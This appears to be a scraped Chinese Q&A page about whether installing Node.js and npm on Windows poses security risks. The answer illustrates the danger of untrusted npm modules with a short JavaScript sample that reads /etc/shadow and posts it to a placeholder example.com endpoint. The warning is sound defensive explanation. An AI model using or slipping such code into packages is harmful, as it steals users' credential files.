【问题标题】:Does installing Node.js under Windows have any security implications?在 Windows 下安装 Node.js 是否有任何安全隐患?
【发布时间】:2015-01-11 18:07:10
【问题描述】:

这就是我要问的原因

为了在windows下使用lessc编译器,我不得不根据这个指南安装Node.js和NPM:http://lesscss.org/#getting-started

所以基本上,我只是:

  1. http://nodejs.org/下载并安装Node.js
  2. 使用npm install -g less 运行并安装lessc

详细问题

我应该注意哪些安全隐患? Node.js 是否打开任何端口?它在后台运行吗?它会自动更新吗?

【问题讨论】:

  • 三个问题的答案都是“否”。 Node 只是脚本的“执行环境”,它自己什么都不做。
  • 您能详细说明一下吗? NPM 呢?有什么资源可以阅读更多关于这个主题的信息吗?谢谢。
  • 我想阅读一些关于使用node/npm 的教程应该可以启发关键原则。简而言之,nodenpm 都不会在后台运行,它们也不会运行/安装任何隐藏的服务/驱动程序或任何类似的东西。当您运行/启动相应的脚本/命令/批处理文件时,他们所做的一切都由您明确控制。 (所以它与任何其他一般环境一样 - 在您明确安装/执行一些 virii 工具/脚本之前都是安全的。

标签: windows node.js less


【解决方案1】:

我应该注意哪些安全隐患?

是的,当然正如 cmets 中 @seven-phases-max 所指出的那样,风险在于您运行的脚本不安全或执行任何您不想要的操作。

在上面安装less时使用-g(全局)标志,这意味着您在系统上以超级用户(管理员)的身份安装less。正如@Explosion_Pills 的here 已经解释的那样:“安装可以运行任意脚本并且使用 sudo 运行它可能非常危险!”

AFAIK 每个人都可以在 npm 上发布一个节点模块,所以我可以发布一个模块并安装它,例如包含:

var request = require('request'),
fs = require('fs');

fs.readFile('/etc/shadow', 'utf8', function (err,data) {
  if (err) {
    return console.log(err);
  }

  request.post(
    'http://www.example.com/passwords',
    { form: { key: 'value' } },
    function (error, response, body) {
      if (!error && response.statusCode == 200) {
        console.log(body);
      }
    }
  );
});

也可以看看Node Security Project

【讨论】:

  • 节点安全项目的死链接
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 2015-04-15
  • 2020-01-27
  • 2011-09-24
  • 1970-01-01
  • 1970-01-01
  • 2010-09-07
  • 1970-01-01
相关资源
最近更新 更多